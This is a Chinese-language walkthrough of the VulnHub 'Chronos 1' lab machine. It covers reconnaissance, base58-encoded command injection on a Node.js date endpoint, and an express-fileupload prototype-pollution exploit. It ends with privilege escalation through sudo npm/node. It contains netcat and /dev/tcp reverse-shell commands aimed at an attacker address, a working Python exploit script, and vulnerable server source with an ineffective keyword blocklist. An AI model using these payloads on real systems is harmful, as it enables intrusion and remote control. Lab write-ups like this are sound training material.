一、靶机地址
https://www.vulnhub.com/entry/chronos-1,735/
二、信息收集
- arpscan 发现主机地址。
- nmap信息收集,发现80、8000、22端口。
- 可以访问到靶机页面
三、渗透阶段
- burpsuit抓包,发现访问主页面的时候会请求“chronos.local”域名。在hosts文件中添加这个主域名解析到靶机地址,发现是一个请求时间的URL。
2.删掉参数后,发现继续输出时间信息。
3.怀疑是date命令直接在linux上执行了,于是加上ls参数,错误页面提示不是base58加密。那说明之前web前段自动提交的参数是经过base58加密的。
4.由4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL解密可得’+Today is %A, %B %d, %Y %H:%M:%S.'。那猜测存在命令注入的话,也应加入base58加密。对“&&ls”加密后发送,页面有异常提示。
重新浏览器刷新一下,成功执行ls命令。
5.换成NC串联命令nc 192.168.56.103 9999 | /bin/bash | nc 192.168.56.103 8888,进行编码传入,成功获取到shell
6.发现当前用户是www权限,用户中还存在imera用户
7.发现两个web目录,其中一个有root权限,两个web判断都是mode.js开发的
- 两个web引用的组件如下。
- chronos这个web的app.js代码如下,可以看到是绑定了8000端口的。虽然对id、whoami等一些参数做了过滤,但是命令最后还是会执行,没有起到作用。
// created by alienum for Penetration Testing
const express = require('express');
const { exec } = require("child_process");
const bs58 = require('bs58');
const app = express();
const port = 8000;
const cors = require('cors');
app.use(cors());
app.get('/', (req,res) =>{
res.sendFile("/var/www/html/index.html");
});
app.get('/date', (req, res) => {
var agent = req.headers['user-agent'];
var cmd = 'date ';
const format = req.query.format;
const bytes = bs58.decode(format);
var decoded = bytes.toString();
var concat = cmd.concat(decoded);
if (agent === 'Chronos') {
if (concat.includes('id') || concat.includes('whoami') || concat.includes('python') || concat.includes('nc') || concat.includes('bash') || concat.includes('php') || concat.includes('which') || concat.includes('socat')) {
res.send("Something went wrong");
}
exec(concat, (error, stdout, stderr) => {
if (error) {
console.log(`error: ${error.message}`);
return;
}
if (stderr) {
console.log(`stderr: ${stderr}`);
return;
}
res.send(stdout);
});
}
else{
res.send("Permission Denied");
}
})
app.listen(port,() => {
console.log(`Server running at ${port}`);
})
- chronos-v2的server.js代码如下,可以看到绑定了127.0.0.1的8080端口
const express = require('express');
const fileupload = require("express-fileupload");
const http = require('http')
const app = express();
app.use(fileupload({ parseNested: true }));
app.set('view engine', 'ejs');
app.set('views', "/opt/chronos-v2/frontend/pages");
app.get('/', (req, res) => {
res.render('index')
});
const server = http.Server(app);
const addr = "127.0.0.1"
const port = 8080;
server.listen(port, addr, () => {
console.log('Server listening on ' + addr + ' port ' + port);
});
- frp搭建隧道,将靶机本机的8080端口代理出来
- 之前信息收集,发现是nodjs开发的网站,看了下苑老师的视频,从chronos-v2的组件express-flieupload上有原型污染漏洞。但是试了下,靶机似乎不支持post,找了几个payload都没用
- 参照网上方法,直接在靶机本身上执行exp是可以弹shell成功的,反弹shell到4444
import requests
cmd = 'bash -c "bash -i &> /dev/tcp/192.168.56.103/4444 0>&1"'
# pollute
requests.post('http://127.0.0.1:8080', files = {'__proto__.outputFunctionName': (
None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})
# execute command
requests.get('http://127.0.0.1:8080')
- 为了进一步确定是不是代理的问题。重新在物理机pycharm上发包,加上http代理到bp上再试一下。确定是代理问题,只能在本机127.0.0.1端口上执行exp。
四、提权
- 在imera用户的根目录下翻到一个user.txt文件,有部分信息。
- sudo -l 提示npm、node命令不需要密码可以执行root权限
- 试了下npm命令是可以执行shell命令的。很好奇的是""和’'返回的结果不一样
4.获取到root flag